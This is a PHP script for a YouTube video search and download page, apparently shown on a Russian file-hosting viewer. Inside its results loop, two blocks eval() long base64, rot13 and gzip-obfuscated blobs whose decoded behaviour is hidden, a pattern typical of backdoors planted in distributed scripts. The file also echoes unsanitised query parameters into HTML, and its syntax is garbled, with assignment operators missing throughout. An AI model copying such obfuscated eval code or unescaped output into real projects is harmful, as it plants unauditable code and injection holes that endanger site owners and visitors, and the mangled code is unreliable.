Вход Регистрация
Файл: youtube.php
Строк: 131
<?php
include 'includes/info.php';
include 
'includes/func.php';
if(!empty(
$_GET['q']))
{
$q  $_GET['q']; //Search Keyword Get By Users/Guests
$cu $q;
$cs $q;
$cs str_replace('-',' ',$cs);
}
else 
{
$a = array('Klassnenkiy'); //Automatic Search Keyword
$b count($a)-1;
$q $a[rand(0,$b)];
}
$qu $q;
$qu str_replace(' ','+',$qu);
$qu str_replace('-','+',$qu);
$qu str_replace('_','+',$qu);
if(!empty(
$_GET['q']))
{
$title 'Скачатъ '.nameupper($cs).' Видео в MP4 ~ WEBM ~ FLV ~ 3GP ~ MP3 - '.$site.'';
$ogtitle 'Скачатъ '.nameupper($cs).' Видео в MP4 ~ WEBM ~ FLV ~ 3GP ~ MP3 - '.$site.'';
}
else
{
$title ''.$site.' | Скачатъ видео Youtube';
$ogtitle ''.$site.' | Скачатъ видео Youtube';
}
include 
'includes/head.php';
if(!empty(
$_GET['q']))
{
echo 
'<div class="header">Поиск видео: '.nameupper($cs).'</div>';
}
else
{
echo 
'<div class="header">Последние видео ролики</div>';
}
if(
strlen($_GET['page']) >1)
{
$yesPage=$_GET['page'];
}
else
{
$yesPage='';
}
$link file_get_contents('https://www.googleapis.com/youtube/v3/search?part=snippet&q='.$qu.'&key='.$apikey.'&maxResults=10&pageToken='.$yesPage.'&type=video');
$json json_decode($link);
$nextpage=$json->nextPageToken;
$prevpage=$json->prevPageToken;
if(
$json)
{
foreach (
$json->items as $data)
{
eval(
str_rot13(gzinflate(str_rot13(base64_decode('LUnHEq24Ef2aqWzekeGWSuScMxsXOefM1xvGpgpOt9REraNe6uH+s/VUvN5QufwZh2/BkP/My5TMy598dar8/j/xt6xXYF9VmikoeIoB3WHd4t54vYrdXVD0yI+G46WWN/4vyB7ZVr7vpv+9/5CIY5D7F6SHRPqNxDva4AzgKHqgcLW81Mdr39TNc3wH/GrV/5iSZ7TZQLRnIsFmGw+Cwqfc4+izc8fvooEPcWgEPBSV13OA9d+mJMKPIkbole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StvkqEYrpw5aKo+ngAhw13bc9E42Ne8Ig0n8sAEOur4UcakoVAXXLuxk69TkN7XWy3gj9bg6vX00UpEXpbpKBwVhUAof93txAEjymH65B8EemRv6626koIL0GcvHS6KugypJibCvwopCD59b95aDveGlfWKPvF2XPEHF5N9TAx/M1JdLWMt8WcuBqRNHJR2os/LU95z4+tc8RSV5zJgcd1QKkiIOQNMDcceEbNOmtpjuIudtClp6MqBSdnqDBd9fUlbJwCZNPPDhPCiJQmPh3Z9zxsX5VoeyTF6Jf7xhoL6Q+FhbDYRXmo/luhAAYlxeVb/ASnAvFny8Ehv3TOn4NJEL8BZt//+t9/v1f')))));
foreach (
$cs->items as $data)
{
eval(
str_rot13(gzinflate(str_rot13(base64_decode('LUnFEuxVDvyaiWx7M1DMqc3MfJl1cJsZv37LG+uDiyRMlkepXOrh/rP1x2q9h3f5Mw7lT2D/zsuUzsufb3V+xf3/xd+qPqBSKWW2xP2FuHqv/0W934Tz+VoPlujKJcvnWtc6PZY4bwX23mpZkexfIPwg8sD/hZg+mFRsfciwCEkjjR8R2h81PI70KyawT0Rbms7Q5Ec947UX/fI1ewhOf+de9/kdKQjbhwvdKHDm7x+Z9ShWjlRg6wfUSGTg9J0AK0t3UULr2dFFV2p0w+d2TzhwZyC0nKI3Eq0ApGuYGLuR7OZV5DqW2UWwp4fxNvkGw16IrcBgUFJc6fadjBV0VWz111hq716ZAswT2opWh80bxM9m3CU4/T63yNOYKUexQiS01tK/22KzML4gobPJ7fMAoREKGdSpsWjMWszeps2pk7v0nTcE/uRUgUrj6Cdhe4XvzZ3AUapzj1+d3m7M4XjulWP0+D7N2tYb00TT2FzVc+nH+C37uPEs8ilSGl8MePJeGZKkiLB0Ms0sT/AM7aniGT+4CSux2ZOcs0o90pFLjk3rAayVa224F2NRp4kEDPWsyfONViElyNOMk6Q3rMGu90Wl6qb1OWBNNjr61XxLNnSABmkXXsANYFO0eCFejKTBQZITbGgtLrIX5lZ982J8dLTsAjUCycHbQ8VwV6KS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fwp1Jph1WaJx94/7NqAl6ftFlMYcJXZPaWj5V0i9i4GFsKKJpilBM5l7yyHVuFlSAklEPB0CO3aAYYVG9TDY2IR5eefI037Ci6xFtXluiNfoCKmf1L6e29U+C06BHlDV9TlTNvuxY5l5111acNHt/IUoxX+ZXGEoQg7fN5aLSISbgbSbO+wYYS6o96WegS2h63yVJ6OnL9DXxU5aJeez78t47Z85lmJk/+ztnyYG9vfI6GY63vGmp6PPtXUmuiMqcB+SCU0gWUwxur3Ikvq6GsXx9i61XoemXGLUzvP4aumSd0yWVLzKJPY53HcYhCOCBgtklN8kxYMGk7ZX/R6vCu5xmrC34ev6HUdnXxYJ8+SaNRebf/wHPP/8F')))));
}
}
echo 
'<div class="pagenavi" style="text-align:center">';
if(
$_GET['q'])
{
if (
strlen($prevpage)>1)
{
echo 
'<a href="/youtube/videos/q-'.linkname($_GET['q']).'/p-'.$prevpage.'" class="page_item"><- Сюда</a>';
}
if (
strlen($nextpage)>1)
{
echo 
'<a href="/youtube/videos/q-'.linkname($_GET['q']).'/p-'.$nextpage.'" class="page_item">Туда -></a>';
}
}
else
{
if (
strlen($prevpage)>1)
{
echo 
'<a href="/youtube/p-'.$prevpage.'" class="page_item"><-Сюда</a>';
}
if (
strlen($nextpage)>1)
{
echo
'<a href="/youtube/p-'.$nextpage.'" class="page_item">Туда -></a>';
}
}
echo 
'</div>';
}
include 
'includes/foot.php';
?>
Онлайн: 1
Реклама